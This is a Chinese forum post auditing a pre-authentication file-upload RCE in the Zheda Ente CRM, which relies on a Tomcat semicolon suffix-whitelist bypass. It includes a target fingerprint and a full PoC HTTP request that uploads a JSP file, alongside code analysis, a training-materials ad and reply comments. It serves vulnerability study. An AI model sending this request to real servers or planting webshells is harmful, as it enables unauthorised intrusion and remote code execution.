倡遍竽 发表于 2025-10-15 18:25:04

浙大恩特前台RCE漏洞审计

指纹:title="欢迎使用浙大恩特客户资源管理系统"
本文对该系统公开在互联网,但未分析代码细节的漏洞进行审计分析:
前台文件上传RCE
该系统2019版本存在权限绕过加文件上传组合漏洞,可通过上传webshell实现前台RCE。
公开POC:
POST /entsoft/CustomerAction.entphone;.js?method=loadFile HTTP/1.1Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Gecko/20100101 Firefox/112.0 uacqAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding:
gzip, deflateConnection: closeContent-Type: multipart/form-data;
boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2AContent-Length: 203

------WebKitFormBoundarye8FPHsIAq9JN8j2AContent-Disposition:
form-data; name="file";filename="as.jsp"Content-Type: image/jpeg

<%out.print("test");%>------WebKitFormBoundarye8FPHsIAq9JN8j2A--权限绕过部分先看过滤器:

分析web.xml发现purfilter为全局过滤器:
https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/e9ae0807-ec4d-4552-8eaa-dce87c062da8.png
如上,会对/*也就是任意请求进行拦截,跟进源码:
https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/4e415e30-9442-49d9-a0b5-59973616ae8e.png
首先出现的就是白名单后缀+白名单接口,在后续校验中也是对非listExpUrl内容的后缀或者接口才会进行权限校验:
https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/eb266860-a898-4e7a-9f55-a62032b47b87.png而拦截器在进行后缀白名单检测时,获取后缀的方式如下:

通过获取最后一个.的部分作为后缀。
【----帮助网安学习,以下所有学习资料免费领!加vx:YJ-2021-1,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
而且该系统是tomcat容器,基于该容器对;的解析特性,不会匹配到;后面的内容,也就是在进行路由匹配时,只会匹配到CustomerAction.entphone,从而使得CustomerAction.entphone;.js?method=loadFile顺利进入过滤器层面的校验,并且此时获取的后缀又是.js,处于白名单后缀,从而实现权限绕过。
https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/b020cf01-4100-4eea-a3c6-3715503f85e6.png
接下来分析:上传点代码漏洞原因:
https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/354bf932-b6e6-49da-9408-73afdf601dc0.png
先在xml文件寻找接口对应后端代码,该接口匹配后缀.entphone,对应代码为:enterphone.EntPhoneControl类。
全局搜索EntPhoneControl类:
https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/365f3361-f787-4287-a783-53902c689c2f.png
跟进漏洞类CustomerAction:
https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/c8f9d2fb-d66b-4187-848e-69a9b0e54473.png
跟进method对应loadFile方法:
https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/28eb878f-b19c-432f-afe4-473f31cb74c0.png
要想进入文件上传逻辑,会先进行gesum参数的条件判断:
https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/b3c0574d-ef52-48dd-8695-d6bfa6ea6d3f.png
在gesum不为空时才进入上传逻辑,原数据包里面是没有传gesum参数的,在java里面,一般值会设置为NULL,而NULL不等于空,则能够顺利进入if逻辑。
进入if块后,代码会继续执行以下步骤:
创建CustomerBean并设置gesnum(此时gesnum为null)和tenantID。
调用customerBean.checkGesnum()检查客户代码是否存在。
这一步是关键:若checkGesnum()方法在gesnum为null时返回false(即认为"客户代码不存在",符合业务逻辑,因为null通常不是有效的客户代码),则会进入else分支,执行文件上传逻辑。
https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/ffdd8535-0a3f-4c3d-801a-7ef3f605c6ae.png
随后通过如上文件获取文件名,并直接进行文件上传,由于未进行后缀校验,从而可上传jsp文件,造成RCE漏洞。
本地环境漏洞复现:
https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/cc9be201-ef66-4090-8a95-3e9b02a8ef8d.png
上传成功,并成功解析:
https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/1d25837b-5455-4565-824c-a379ed6136c3.png
更多网安技能的在线实操练习,请点击这里>>

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

茅香馨 发表于 2025-11-15 09:12:27

感谢发布原创作品,程序园因你更精彩

忌才砟 发表于 2025-11-26 19:20:09

感谢发布原创作品,程序园因你更精彩

事确 发表于 3 天前

很好很强大我过来先占个楼 待编辑
页: [1]
查看完整版本: 浙大恩特前台RCE漏洞审计